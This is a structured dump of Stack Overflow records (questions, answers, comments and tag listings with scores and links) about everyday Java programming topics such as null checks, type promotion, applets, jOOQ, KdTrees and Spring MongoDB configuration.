has comment: http://stackoverflow.com/comment/33701083
type: Question
upvote count: 4
has comment: http://stackoverflow.com/comment/33693798
accepted answer: http://stackoverflow.com/a/22222935
has comment: http://stackoverflow.com/comment/33692077

http://stackoverflow.com/comment/33788092
type: Comment
comment on: http://stackoverflow.com/a/22246603
score: 0
type: AnswerComment
has text: Why are you creating the `newElement` object? If I later change the value of the key of whatever was passed to `insert`, your method would not auto-update the LinkedList, would it? Is there any way to achieve what I want with my code, or, does anyone know why mine does not work?

http://stackoverflow.com/a/22197774
downvote count: 0
answers question: http://stackoverflow.com/q/22197605
type: AcceptedAnswer
upvote count: 6
has body: You can never call the .equals() method on an object reference that is null. It is a method, just like the rest, so if the object reference is truly null it will just throw a NullPointerException. If you want to check if a reference is not pointing to any object, i.e. it is a null reference you must use the ==. The equals() method on the other hand is used if you want to compare the data contained in the object. If the class in question overrides the equals(), like for example String does, then it will compare the contents of the object, rather than just whether it is the same object reference. If you see an object like a box. == is comparing whether it is the same box while equals() compares the contents of two boxes.
type: Answer
score: 6
accepted answer of: http://stackoverflow.com/q/22197605

http://stackoverflow.com/a/22321691
type: AcceptedAnswer
downvote count: 0
upvote count: 2
accepted answer of: http://stackoverflow.com/q/22321577
type: Answer
score: 2
has body: No the byte will not be converted into an int. From the JLS 5.2 Assignment Conversion: In addition, if the expression is a constant expression (§15.28) of type byte, short, char, or int: - A narrowing primitive conversion may be used if the type of the variable is byte, short, or char, and the value of the constant expression is representable in the type of the variable. Also check subtracting 2 bytes makes int? This is a basic premise of Java programming. All integers are of type int unless specifically cast to another type. Therefore, any arithmetic done with integers automatically 'promotes' all the operands to int type from the narrower type (byte, short), and the result of arithmetic with int operands is always int. (I think I've beaten that to death now). If you want the short result of arithmetic with two bytes, do this: short result = (short) (byte1 - byte2) This explicit cast makes it the programmer's responsibility for throwing away the extra bits if they aren't needed. Otherwise, integer arithmetic is done in 32 bits.
answers question: http://stackoverflow.com/q/22321577

http://stackoverflow.com/comment/33737204
comment on: http://stackoverflow.com/q/22207548
score: 0
type: Comment
has text: @gstackoverflow I don't keep them around, so unfortunately not :) But there's a whole book by Josh Bloch called Java Puzzlers if you're into that. A related [presentation](http://strangeloop2010.com/system/talks/presentations/000/014/450/BlochLee-JavaPuzzlers.pdf) is publicly available.
type: QuestionComment

http://stackoverflow.com/comment/33807292
has text: @LuiggiMendoza you are just changing the reference of aa object.OP want to cast it
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22258565
score: 2

http://stackoverflow.com/comment/33651016
has text: IT wasn't very clear from your original question. I've updated my answer.
type: Comment
comment on: http://stackoverflow.com/a/22171816
score: 0
type: AnswerComment

http://stackoverflow.com/q/22195063
has comment: http://stackoverflow.com/comment/33898734
has comment: http://stackoverflow.com/comment/33700388
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33734916
has body: I need to build a tree from JSON. The JSON structure reads, for every restProjectLevel : restProjectLevels I have an id = level were on. A sequenceNr = root or child. For every restProject : restProjects I have an id = projectId and a projectIdHook = the projectId that's attached. I think the JSON data will explan it best. { "id": 3, "description": "New Project Plan", "restProjectLevels": [ { "id": 19, "sequenceNr": 0, "restProjects": [ { "id": 28, "projectName": "Project A", "description": "", "projectLevelId": 19, "projectIdHook": 0, "restProjectProcesses": [] }, { "id": 29, "projectName": "Project B", "description": "", "projectLevelId": 19, "projectIdHook": 0, "restProjectProcesses": [] }, { "id": 30, "projectName": "Project C", "description": "", "projectLevelId": 19, "projectIdHook": 0, "restProjectProcesses": [] }, { "id": 41, "projectName": "New", "description": "", "projectLevelId": 19, "projectIdHook": 0, "restProjectProcesses": [] } ] }, { "id": 20, "sequenceNr": 1, "restProjects": [ { "id": 31, "projectName": "Project A.1", "description": "", "projectLevelId": 20, "projectIdHook": 28, "restProjectProcesses": [] }, { "id": 33, "projectName": "Project B.1", "description": "", "projectLevelId": 20, "projectIdHook": 29, "restProjectProcesses": [] }, { "id": 35, "projectName": "Project C.1", "description": "", "projectLevelId": 20, "projectIdHook": 30, "restProjectProcesses": [] } ] }, { "id": 21, "sequenceNr": 2, "restProjects": [ { "id": 32, "projectName": "Project A.2", "description": "", "projectLevelId": 21, "projectIdHook": 31, "restProjectProcesses": [] }, { "id": 36, "projectName": "Project C.2", "description": "", "projectLevelId": 21, "projectIdHook": 35, "restProjectProcesses": [] } ] }, { "id": 22, "sequenceNr": 3, "restProjects": [ { "id": 34, "projectName": "Projet B.4", "description": "", "projectLevelId": 22, "projectIdHook": 33, "restProjectProcesses": [] }, { "id": 37, "projectName": "Project C.3", "description": "", "projectLevelId": 22, "p…
has comment: http://stackoverflow.com/comment/33692196
has comment: http://stackoverflow.com/comment/33898702
has comment: http://stackoverflow.com/comment/33704404
score: 1
tagged with: java
tagged with: http://stackoverflow.com/tag/json
upvote count: 1
has comment: http://stackoverflow.com/comment/33692078
type: Question
has title: Traverse JSON data structure into tree in java
has comment: http://stackoverflow.com/comment/33692047
has comment: http://stackoverflow.com/comment/33692038
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/22218794
favorite count: 0

http://stackoverflow.com/a/22255509
has comment: http://stackoverflow.com/comment/33803043
type: Answer
upvote count: 4
answers question: http://stackoverflow.com/q/22254404
downvote count: 0
has comment: http://stackoverflow.com/comment/33802553
has comment: http://stackoverflow.com/comment/33802730
has comment: http://stackoverflow.com/comment/33802868
has comment: http://stackoverflow.com/comment/33802165
score: 4
has comment: http://stackoverflow.com/comment/33802452
has comment: http://stackoverflow.com/comment/33803660
has body: every Key and Mouse Events are immediatelly fired inside TableCellRenderer, then exception from RepaintManager is generated from long and heavy JDBC task, don't do that, nor to opening JDBC Connection, there is generated bunch of Key and Mouse Events, especially Mouse Events are per each of pixels load all images to local variables as Icon/ImageIcon, event. to the array of Icon/ImageIcon,

http://stackoverflow.com/comment/33651234
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22171299
has text: @Ariel, what am trying to say that you don't have to be close with `OutOfMemoryError` at all, its not a healthy way, you can depends on something else.
type: Comment

http://stackoverflow.com/q/22190474
tagged with: invocationtargetexception
answer count: 1
tagged with: applet
type: UnansweredQuestion
has body: I have the following HTML for embedding my Java applet: &lt;applet code="MyClass" URL="path/MyClass.class" height="200" width="400"&gt;&lt;/applet&gt; The applet does not work and I am getting the following error in the console: java.lang.reflect.InvocationTargetException at com.sun.deploy.util.DeployAWTUtil.invokeAndWait(DeployAWTUtil.java:116) at sun.plugin2.applet.Plugin2Manager.runOnEDT(Plugin2Manager.java:3606) at sun.plugin2.applet.Plugin2Manager.createApplet(Plugin2Manager.java:3131) at sun.plugin2.applet.Plugin2Manager$AppletExecutionRunnable.run(Plugin2Manager.java:1517) at java.lang.Thread.run(Thread.java:680) Caused by: java.lang.ClassCastException: MyClass cannot be cast to java.applet.Applet at sun.plugin2.applet.Plugin2Manager$13.run(Plugin2Manager.java:3119) at java.awt.event.InvocationEvent.dispatch(InvocationEvent.java:199) at java.awt.EventQueue.dispatchEventImpl(EventQueue.java:715) at java.awt.EventQueue.access$400(EventQueue.java:82) at java.awt.EventQueue$2.run(EventQueue.java:676) at java.awt.EventQueue$2.run(EventQueue.java:674) at java.security.AccessController.doPrivileged(Native Method) at java.security.AccessControlContext$1.doIntersectionPrivilege(AccessControlContext.java:86) at java.security.AccessControlContext$1.doIntersectionPrivilege(AccessControlContext.java:97) at java.awt.EventQueue$3.run(EventQueue.java:690) at java.awt.EventQueue$3.run(EventQueue.java:688) at java.security.AccessController.doPrivileged(Native Method) at java.security.AccessControlContext$1.doIntersectionPrivilege(AccessControlContext.java:86) at java.awt.EventQueue.dispatchEvent(EventQueue.java:687) at java.awt.EventDispatchThread.pumpOneEventForFilters(EventDispatchThread.java:296) at java.awt.EventDispatchThread.pumpEventsForFilter(EventDispatchThread.java:211) at java.awt.EventDispatchThread.pumpEventsForHierarchy(EventDispatchThread.java:201) at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:196) at java.awt.EventDispatchThread.pumpEvents…
score: 0
tagged with: java
tagged with: file
has answer: http://stackoverflow.com/a/22191734
type: Question
has title: Java Applet Embedded in HTML Causes InvocationTargetException

http://stackoverflow.com/q/22270123
has answer: http://stackoverflow.com/a/22333997
tagged with: lwjgl
has body: I want to play once a sound effect when someone place mouse inside button in MainMenu. Problem is here - MainMenu is in loop, so my sound repeat all the time. How to play sound just once when someone place mouse inside button? Button: if(mouse is in position X = &lt;0,100&gt; and Y = &lt;0,100&gt;){ drawButton( X = 0, Y = 0, X2 = 100, Y2 = 100); } Button is in loop: while( we are in MainMenu state ) { if(mouse is in position X = &lt;0,100&gt; and Y = &lt;0,100&gt;){ drawButton( X = 0, Y = 0, X2 = 100, Y2 = 100); } } Sound: Music Sound_1 = new Music("res/Sound/Sound_1.wav"); Play sound: Sound_1.play(1.0f, 1.0f); Code: while( we are in MainMenu state ) { if(mouse is in position X = &lt;0,100&gt; and Y = &lt;0,100&gt;){ Sound_1.play(1.0f, 1.0f); &lt;- IT MUST PLAY JUST ONCE WHENEVER MOUSE IS IN BUTTON drawButton( X = 0, Y = 0, X2 = 100, Y2 = 100); } }
tagged with: loops
has answer: http://stackoverflow.com/a/27754594
type: Question
tagged with: audio
tagged with: java
tagged with: slick2d
score: 0
answer count: 3
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/41418437
has title: How to play sound once in loop in LWJGL/Slick2D

http://stackoverflow.com/q/22212564
has comment: http://stackoverflow.com/comment/33724628
has answer: http://stackoverflow.com/a/22212643
has comment: http://stackoverflow.com/comment/33724688
tagged with: java
has comment: http://stackoverflow.com/comment/33724662
accepted answer: http://stackoverflow.com/a/22212655
tagged with: loops
type: Question
has body: So I have a loop that is wrapped around a loop and an if statement. When running the program however, it gets out of the inner loop (as planned) and then it fails the if statement (also as planned), resorting to the else statement which is a simple print. What I /wanted/ to happen was have it then (in the case the if fails), restart to the original inner loop--hence the outer loop. But instead, after it fails the if statement, it begins to loop "phrase2" over and over. Here is the simplified code: int x = 1; int y = 1; int i = 0; while(i == 0) { while(&lt;condition that is false&gt;) { System.out.println("phrase1"); a = input.nextInt(); b = input.nextInt(); } if(&lt;condition that is false&gt;) { i = 1; } else { System.out.println("phrase2"); } } Thanks for your help regardless! EDIT: For the sake of emphasis... What happens: Infinite loop spewing "phrase2". What I wanted: After the else is executed, I wanted to be brought into the inner loop again.
answer count: 3
has comment: http://stackoverflow.com/comment/33724684
has answer: http://stackoverflow.com/a/22212725
has comment: http://stackoverflow.com/comment/33728201
has comment: http://stackoverflow.com/comment/33724706
favorite count: 0
has comment: http://stackoverflow.com/comment/33724594
score: 0
has title: Java: infinite loop after an if inside a loop
has comment: http://stackoverflow.com/comment/33724619
has comment: http://stackoverflow.com/comment/33724681
has comment: http://stackoverflow.com/comment/33724721
has comment: http://stackoverflow.com/comment/33724616
tagged with: infinite
upvote count: 1
downvote count: 1
has answer: http://stackoverflow.com/a/22212655
has comment: http://stackoverflow.com/comment/33724733
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/22212643
tagged with: if-statement

http://stackoverflow.com/comment/33891893
score: 0
type: Comment
type: QuestionComment
has text: @njzk2 I think you mean -1 in Java if you're using a byte :)
comment on: http://stackoverflow.com/q/22305275

http://stackoverflow.com/q/22276929
has body: I have a wav file playing at the start of the program. The problem is, it plays to quickly, I need it to delay about 5 seconds and then play. The program is a quiz and the sound file says good luck so I basically need it to delay so the program can open and the person can read the tittle and the first question and then the sound plays. Thanks static AudioClip soundTiger, soundApplause, soundGoodLuck; url = TFtest.class.getResource("goodluck.wav"); soundGoodLuck = Applet.newAudioClip(url); soundGoodLuck.play();
tagged with: audio
tagged with: java
downvote count: 2
has comment: http://stackoverflow.com/comment/33840816
type: Question
has comment: http://stackoverflow.com/comment/33840767
has title: How to delay sound in java
upvote count: 0
score: -2
tagged with: wav
answer count: 1
has answer: http://stackoverflow.com/a/22276966
favorite count: 0
type: UnansweredQuestion

http://stackoverflow.com/a/22191512
has body: Something like this? String string = "date string here" DateTimeFormatter formatter = DateTimeFormat.forPattern("ddMMyyyyHHmm"); DateTime dt = formatter.parseDateTime(string);
score: 0
answers question: http://stackoverflow.com/q/22191427
type: Answer

http://stackoverflow.com/q/22194308
type: Question
score: 0
has title: Get path from UriBuilder
answer count: 1
accepted answer: http://stackoverflow.com/a/22194836
tagged with: rest
has body: I am using WebSphere 8.5 with Wink and i need to get the path from a rest client for logging purposes. When I look at the resource stub in the debugger, i see the UriBuilder with the path set, but I have no getter Method to get the path in String format. The toString method only delivers org.apache.wink.common.internal.UriBuilderImpl@dd6bce39. So that's not the way. How can I get the path in string form? best regards, m
has answer: http://stackoverflow.com/a/22194836
type: AnsweredQuestion
tagged with: java

http://stackoverflow.com/q/22263772
favorite count: 0
has answer: http://stackoverflow.com/a/22263808
tagged with: language-agnostic
score: 2
has title: Why make a class create an instance of itself?
downvote count: 0
type: UnansweredQuestion
tagged with: java
type: Question
has answer: http://stackoverflow.com/a/22264168
upvote count: 2
answer count: 2
has comment: http://stackoverflow.com/comment/33817526
has body: I recently came across some code recently and although I know that it can work, I really don't see why a class would ever need to create an instance of itself within itself? I can't find any explanation for why you would do this, only how you do it. For example: public class Simple1 { /** Main entry point. */ public static void main(String args[]) throws ParseException { Simple1 parser = new Simple1(System.in); parser.Input(); } }
has comment: http://stackoverflow.com/comment/33817548

http://stackoverflow.com/a/22303435
type: Answer
score: 2
upvote count: 2
accepted answer of: http://stackoverflow.com/q/22303322
answers question: http://stackoverflow.com/q/22303322
has body: I assume you mean you want to start a new Activity (from Main to Vehicles). In that case you can use the following code: Intent intent = new Intent(Main.this, Vehicle.class); startActivity(intent); Make sure all Activity classes are declared in your Android Manifest file, inside the &lt;application&gt; tag, like this: &lt;activity android:name=".Vehicles" /&gt;
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/22205655
score: 2
has comment: http://stackoverflow.com/comment/70184486
downvote count: 0
type: UnansweredQuestion
has body: Getting an error when trying to set up a unit test using Jooq mocking with custom types (Joda Time). I have registered a converter during code generation. It almost looks like Jooq can't find / doesn't see the converter and is trying to fall back on ConvertAll, which doesn't work. Querying the mock result throws the exception (below). Converter: import org.joda.time.DateTime; import java.sql.Timestamp; import org.joda.time.DateTimeZone; import org.jooq.Converter; public class DateTimeConverter implements Converter<Timestamp, DateTime> { @Override public DateTime from(Timestamp databaseObject) { return new DateTime(databaseObject.getTime()).withZone(DateTimeZone.UTC); } @Override public Timestamp to(DateTime userObject) { return new Timestamp(userObject.getMillis()); } @Override public Class<Timestamp> fromType() { return Timestamp.class; } @Override public Class<DateTime> toType() { return DateTime.class; } } The class is generated successfully: /** * This class is generated by jOOQ */ package redacted.generated.jooq.tables; /** * This class is generated by jOOQ. */ @javax.annotation.Generated(value = {"http://www.jooq.org", "3.0.0"}, comments = "This class is generated by jOOQ") @java.lang.SuppressWarnings({ "all", "unchecked" }) public class Bug extends org.jooq.impl.TableImpl<redacted.generated.jooq.tables.records.BugRecord> { private static final long serialVersionUID = 1992533553; /** * The singleton instance of public.bug */ public static final redacted.generated.jooq.tables.Bug BUG = new redacted.generated.jooq.tables.Bug(); /** * The class holding records for this type */ @Override public java.lang.Class<redacted.generated.jooq.tables.records.BugRecord> getRecordType() { return redacted.generated.jooq.tables.records.BugRecord.class; } /** * The column public.bug.testdate. */ public final org.jooq.TableField<redacted.generated.jooq.tables.records.BugRecord, org.joda.time.DateTime> TESTDATE = createField("testdate", org.jooq.impl.SQLDataType.TIMESTAMP.asConver…
has comment: http://stackoverflow.com/comment/33845279
has title: Jooq custom type with MockResult throwing DataTypeException
has comment: http://stackoverflow.com/comment/33824232
tagged with: java
has comment: http://stackoverflow.com/comment/70207153
has comment: http://stackoverflow.com/comment/33907962
has comment: http://stackoverflow.com/comment/34027637
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/34025521
has comment: http://stackoverflow.com/comment/70100490
has comment: http://stackoverflow.com/comment/33840982
tagged with: sql
answer count: 1
has comment: http://stackoverflow.com/comment/70099475
has comment: http://stackoverflow.com/comment/33846753
has comment: http://stackoverflow.com/comment/33721573
has comment: http://stackoverflow.com/comment/70097981
has answer: http://stackoverflow.com/a/41490472
tagged with: jooq
tagged with: groovy
has comment: http://stackoverflow.com/comment/70100447
has comment: http://stackoverflow.com/comment/70213550
favorite count: 0

http://stackoverflow.com/comment/34671321
score: 0
type: Comment
type: QuestionComment
has text: It seems this question will not be solved.
comment on: http://stackoverflow.com/q/22191902

http://stackoverflow.com/q/22239054
downvote count: 0
score: 1
tagged with: java
has title: KdTree nearest neighbour search algorithm not working properly
type: Question
tagged with: algorithm
upvote count: 1
answer count: 1
has body: I'm implementing a KdTree in java. I have most of the rest of the program done, but I can't seem to get my nearest neighbour search algorithm to work properly. It always returns the root node's values, no matter what. Here is my code: public Point2D nearest(Point2D p) { if (root == null) //if there are no nodes in the tree return null; else return nearest(p, root, root.point); } rect is a RectHV object that corresponds to the bounds of the node's point. public Point2D nearest(Point2D p, Node n, Point2D nearest) { if (n == null) { return nearest; } if (p.distanceSquaredTo(nearest) &gt; p.distanceSquaredTo(n.point)) { nearest = n.point; } if (n.xAxis) { //the xaxis value is a boolean, if it is true, //the node splits on the x axis, false it splits on y if (p.x() &lt; n.point.x() &amp;&amp; p.distanceSquaredTo(nearest) &lt; n.rect.distanceTo(p)) { nearest = nearest(p, n.leftnode, nearest); System.out.println("look left 1"); } else { nearest = nearest(p, n.rightnode, nearest); System.out.println("look right 1"); } } else { if (p.y() &lt; n.point.y() &amp;&amp; p.distanceSquaredTo(nearest) &lt; n.rect.distanceTo(p)) { nearest = nearest(p, n.leftnode, nearest); System.out.println("look left 2"); } else { nearest = nearest(p, n.rightnode, nearest); System.out.println("look right 2"); } } return nearest; } I'm thinking that my algorithm is too simple for the task. My rationale is that if the distanceSquared between the query point and a candidate point's rectangle is greater than the already established nearest point, then don't search down that tree.
tagged with: kdtree
favorite count: 0
type: UnansweredQuestion
tagged with: nearest-neighbor
has answer: http://stackoverflow.com/a/22239238

jframe
tags question: http://stackoverflow.com/q/22248603
tags question: http://stackoverflow.com/q/22214932
tags question: http://stackoverflow.com/q/22185774
tags question: http://stackoverflow.com/q/22179236
tags question: http://stackoverflow.com/q/22205821
tags question: http://stackoverflow.com/q/22209518
tags question: http://stackoverflow.com/q/22283681
tags question: http://stackoverflow.com/q/22196475
tags question: http://stackoverflow.com/q/22287722
tag name: jframe
tags question: http://stackoverflow.com/q/22325127
tags question: http://stackoverflow.com/q/22169479
tags question: http://stackoverflow.com/q/22181873
tags question: http://stackoverflow.com/q/22285419
tags question: http://stackoverflow.com/q/22316792
tags question: http://stackoverflow.com/q/22278687
tags question: http://stackoverflow.com/q/22194404
tags question: http://stackoverflow.com/q/22315518
tags question: http://stackoverflow.com/q/22250362
tags question: http://stackoverflow.com/q/22269386
tags question: http://stackoverflow.com/q/22216924
tags question: http://stackoverflow.com/q/22317327
tags question: http://stackoverflow.com/q/22276091
tags question: http://stackoverflow.com/q/22232889
tags question: http://stackoverflow.com/q/22232020
tags question: http://stackoverflow.com/q/22318103
tags question: http://stackoverflow.com/q/22305095
tags question: http://stackoverflow.com/q/22210018
tags question: http://stackoverflow.com/q/22191059
tags question: http://stackoverflow.com/q/22239485
tags question: http://stackoverflow.com/q/22220007
tags question: http://stackoverflow.com/q/22249679
tags question: http://stackoverflow.com/q/22249467
tags question: http://stackoverflow.com/q/22283369
tags question: http://stackoverflow.com/q/22288265
tags question: http://stackoverflow.com/q/22212680
tags question: http://stackoverflow.com/q/22170327
tags question: http://stackoverflow.com/q/22242192
tags question: http://stackoverflow.com/q/22273045
tags question: http://stackoverflow.com/q/22192019
tags question: http://stackoverflow.com/q/22319278
tags question: http://stackoverflow.com/q/22265658
type: Tag
tags question: http://stackoverflow.com/q/22251767
tags question: http://stackoverflow.com/q/22180687
tags question: http://stackoverflow.com/q/22183086

http://stackoverflow.com/comment/33832068
comment on: http://stackoverflow.com/q/22272285
has text: @engineer byte code comes in .class file
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33854326
has text: check file that you are passing.....i think that some extra spaces are there at the end of each line...try removing those spaces.
comment on: http://stackoverflow.com/q/22284375
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/33735916
type: Comment
type: QuestionComment
has text: Are you sure about where is your SqlLite db file? Do your code have an access to it? Your patch for SqlLite looks strange for me. SqlLite have an form of one file i thought. Are you sure that you have library on the classpatch to the SQL lite driver?
comment on: http://stackoverflow.com/q/22219273
score: 0

apache
tag name: apache
tags question: http://stackoverflow.com/q/22174399
tags question: http://stackoverflow.com/q/22279489
tags question: http://stackoverflow.com/q/22171344
tags question: http://stackoverflow.com/q/22216340
tags question: http://stackoverflow.com/q/22317719
tags question: http://stackoverflow.com/q/22239678
tags question: http://stackoverflow.com/q/22195778
tags question: http://stackoverflow.com/q/22289570
tags question: http://stackoverflow.com/q/22226441
tags question: http://stackoverflow.com/q/22315817
tags question: http://stackoverflow.com/q/22282517
tags question: http://stackoverflow.com/q/22297064
tags question: http://stackoverflow.com/q/22251575
type: Tag
tags question: http://stackoverflow.com/q/22311619
tags question: http://stackoverflow.com/q/22215369
tags question: http://stackoverflow.com/q/22290035
tags question: http://stackoverflow.com/q/22190958
tags question: http://stackoverflow.com/q/22316772
tags question: http://stackoverflow.com/q/22225764

http://stackoverflow.com/a/22232896
answers question: http://stackoverflow.com/q/22232751
downvote count: 0
has comment: http://stackoverflow.com/comment/33760636
has comment: http://stackoverflow.com/comment/33762164
has comment: http://stackoverflow.com/comment/33760623
type: Answer
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/33760419
has comment: http://stackoverflow.com/comment/33761112
has body: You can use recursion to print out stars with the following code: public class RecursiveStars { public static void main(final String[] args) { printStar(5); } /** * * @param i * the number of stars to print */ private static void printStar(final int i) { if (i &gt; 0) { System.out.print('*'); printStar(i - 1); } } } If you want to avoid the condition you can still use recursion but break out of the loop by triggering an ArithmeticException. (This is horrible, but does meet your requirement.) public class RecursiveStars { public static void main(final String[] args) { try { printStar(5); } catch (final ArithmeticException e) { // Ignore } } /** * * @param i * the number of stars to print */ private static void printStar(final int i) { final int triggerException = 1 / i; System.out.print('*'); printStar(i - 1); } }
has comment: http://stackoverflow.com/comment/33760930

http://stackoverflow.com/q/22273732
has comment: http://stackoverflow.com/comment/33834990
has comment: http://stackoverflow.com/comment/33834676
tagged with: java
type: Question
tagged with: weka
has body: I need to print the Accuracy,Error rate,Specificity and Sensitivity after applying classification on data using Weka API in my Java application. Is there any method helps me to extract these percentage? Thank you
has answer: http://stackoverflow.com/a/22281718
has title: printing the Accuracy,Error rate,Specificity and Sensitivity of classification using Weka
score: 0
answer count: 1
tagged with: classification
type: UnansweredQuestion

http://stackoverflow.com/comment/33761968
comment on: http://stackoverflow.com/q/22233736
has text: its ArrayList<String>
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/34002832
type: AnswerComment
score: 0
type: Comment
has text: Both terms have this meaning: A small piece that executes instructions.
comment on: http://stackoverflow.com/a/22267156

http://stackoverflow.com/a/22274239
score: 1
type: Answer
answers question: http://stackoverflow.com/q/22274167
upvote count: 1
has body: You can use Guava Function as the Hastable value in this case. A better way would be to use Java polymorphism and define this logic (functionA, functionB) in sub-classes: public interface City { public void doSomething(); } public class Example { private Map&lt;String, City&gt; cities; public void run(String param) { cities.get(param).doSomething(); } } And then you define as many implementations for City as you need (London, Moscow ...) and you add instances of them to the map
downvote count: 0

http://stackoverflow.com/comment/33697373
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22197659
has text: @JeroenVannevel can you please check my edit answer

http://stackoverflow.com/a/22219044
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/22218702
has body: According to the link provided in the comments, JD-Core-java is a thin-wrapper for the Java Decompiler to support an IntelliJ IDE plugin. The Java Decompiler itself supports: Linux 32/64-bit Windows 32/64-bit Mac OSX 32/64-bit on x86 hardware However, the JD-Core-java wrapper currently only supports Linux 64-bit. You have two options: Contact the author and ask for a Windows version Pull the sources from bitbucket and port the native code to Windows to build a Windows DLL (and send it back to the author to be included in future versions)
answers question: http://stackoverflow.com/q/22218702
score: 3
upvote count: 3

http://stackoverflow.com/a/22259617
answers question: http://stackoverflow.com/q/22258731
has body: You'll have to request the data to display from the server. You can use a data-binding library like Knockout to automatically update the page as the underlying model changes, or you can just use a library like jquery to modify the DOM on your own. Alternatively, you could keep a pipe open to the server using the Comet model: http://en.wikipedia.org/wiki/Comet_%28programming%29. However, it can be expensive to eat up a thread for long periods of time on your web server. Good luck.
type: Answer
score: 0

http://stackoverflow.com/a/22198528
answers question: http://stackoverflow.com/q/22198527
has body: It works if you declare a before the static initializer: public class Test1 { static int a=getA(); static{ a=20; System.out.println(a); } private static int getA() { return 10; } public static void main(String[] args) { System.out.println(a); } } Static initialization is done in the order it's written in the code. That means that in your code, you first set a to 20 and then initialize it to getA() - which is just as illegal as if you would have done it inside a function.
downvote count: 0
score: 1
upvote count: 1
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/22198527

http://stackoverflow.com/a/22193651
has body: You can do it in while loop boolean isSuccessful = false; while(!isSuccessful){ try{ // do whatever you want isSuccessful = true; }catch(Exception e){ // Exception so lets do it again } }
type: Answer
score: 6
upvote count: 6
has comment: http://stackoverflow.com/comment/33690012
downvote count: 0
answers question: http://stackoverflow.com/q/22193558

restful-architecture
type: Tag
tags question: http://stackoverflow.com/q/22227487
tag name: restful-architecture

http://stackoverflow.com/comment/33701714
score: 0
has text: Are you useing NIO2 to handle the sockets efficiently on your server side?
type: QuestionComment
comment on: http://stackoverflow.com/q/22200377
type: Comment

http://stackoverflow.com/comment/33650097
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22171397
type: AnswerComment
has text: That's what he says in the description.

http://stackoverflow.com/q/22207728
upvote count: 0
score: -2
answer count: 1
has title: In android After button is clicked my already defined function should start running repeatedly for every 10 secs?Help me in this Please?
tagged with: android
favorite count: 0
has comment: http://stackoverflow.com/comment/33715389
type: UnansweredQuestion
downvote count: 2
linked to: http://stackoverflow.com/q/6242268
has body: In my Android application I have a button. After the button is clicked my already defined function should start running repeatedly for every 10 secs? Instead of clicking button and starting the task I might call this in OnCreate() also. Help me in this Please?
tagged with: java
has answer: http://stackoverflow.com/a/22208496
has comment: http://stackoverflow.com/comment/33715519
type: Question

http://stackoverflow.com/a/22258064
downvote count: 1
has comment: http://stackoverflow.com/comment/117774327
answers question: http://stackoverflow.com/q/22254758
has comment: http://stackoverflow.com/comment/123657205
has comment: http://stackoverflow.com/comment/117773767
upvote count: 2
has comment: http://stackoverflow.com/comment/38331814
has body: The article is claiming that a ByteBuffer containing bytes with their high bits set (i.e., bytes with values in the range 0x80 to 0xFF) will be treated as negative values when compared to the corresponding bytes in another buffer. In other words, each byte is treated as an 8-bit signed integer. Thus you should expect that a byte value of 0x90 will compare less than a byte value of 0x30. At least, that's the theory, given the standard behavior of byte value in Java. In practice, I would expect that bytes would be compared as 8-bit unsigned integers, so that a byte of 0x90 would compare greater than a byte of 0x30. It all depends on how the term "lexicographical order" is to be interpreted. If each byte represents an 8-bit character code, for example, then it should logically be treated as an unsigned value (regardless of how Java normally treats byte objects). So it boils down to how the comparison of two ByteBuffers is actually implemented. One way is to treat the bytes as Java signed integers, as: // Note: Code has be simplified for brevity int compare(byte[] buf1, byte[] buf2) { ... for (int i = 0; i &lt; buf1.length &amp;&amp; i &lt; buf2.length; i++) { int cmp = buf1[i] - buf2[i]; // Signed arithmetic if (cmp != 0) return cmp; } return (buf1.length - buf2.length); } The other way is to treat the bytes as unsigned integers, which uses slightly different arithmetic for the comparison: int cmp = (buf1[i] &amp; 0xFF) - (buf2[i] &amp; 0xFF); // Unsigned arithmetic As I said above, I would expect the second approach to be used by most implementations, without any specific definition of "lexicographical order" given.
type: Answer
score: 1

http://stackoverflow.com/comment/33830258
type: QuestionComment
comment on: http://stackoverflow.com/q/22271325
score: 0
has text: check the tutorial I linked to. I can't write something better than that. If you run into a code issue, post it.
type: Comment

http://stackoverflow.com/q/22314737
tagged with: java
has body: I have a working copy of mongo-config.xml which uses the default id of db-factory: &lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:util="http://www.springframework.org/schema/util" xmlns:mongo="http://www.springframework.org/schema/data/mongo" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.2.xsd http://www.springframework.org/schema/util http://www.springframework.org/schema/util/spring-util-3.2.xsd http://www.springframework.org/schema/data/mongo http://www.springframework.org/schema/data/mongo/spring-mongo-1.4.xsd http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd"&gt; &lt;mongo:mongo id="replicaSetMongo" replica-set="localhost:10901,localhost:10902"&gt; &lt;mongo:options connections-per-host="8" ssl="false" /&gt; &lt;/mongo:mongo&gt; &lt;mongo:db-factory mongo-ref="replicaSetMongo" dbname="logs" username="logs_owner" password="logs_owner" /&gt; &lt;mongo:mapping-converter&gt; &lt;mongo:custom-converters&gt; &lt;mongo:converter&gt; &lt;beanclass="com.utils.mongodb.dao.impl.SspLogsWriteConverter"/&gt; &lt;/mongo:converter&gt; &lt;/mongo:custom-converters&gt; &lt;/mongo:mapping-converter&gt; &lt;beanid="xmlLogTemplate"class="org.springframework.data.mongodb.core.MongoTemplate"&gt; &lt;constructor-arg name="mongoDbFactory" ref="mongoDbFactory"/&gt; &lt;constructor-arg name="mongoConverter" ref="mappingConverter"/&gt; 